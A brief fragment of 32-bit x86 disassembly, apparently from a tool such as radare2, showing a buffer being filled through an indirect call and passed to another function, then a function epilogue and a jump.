push eax
lea eax, [ebp - 0x824]
push 0x100021ec
push eax
call esi
lea eax, [ebp - 0x824]
push edi
push eax
call fcn.10001398
add esp, 0x34
pop edi
pop esi
leave
ret
mov eax, 0x100021e8
jmp 0x10001490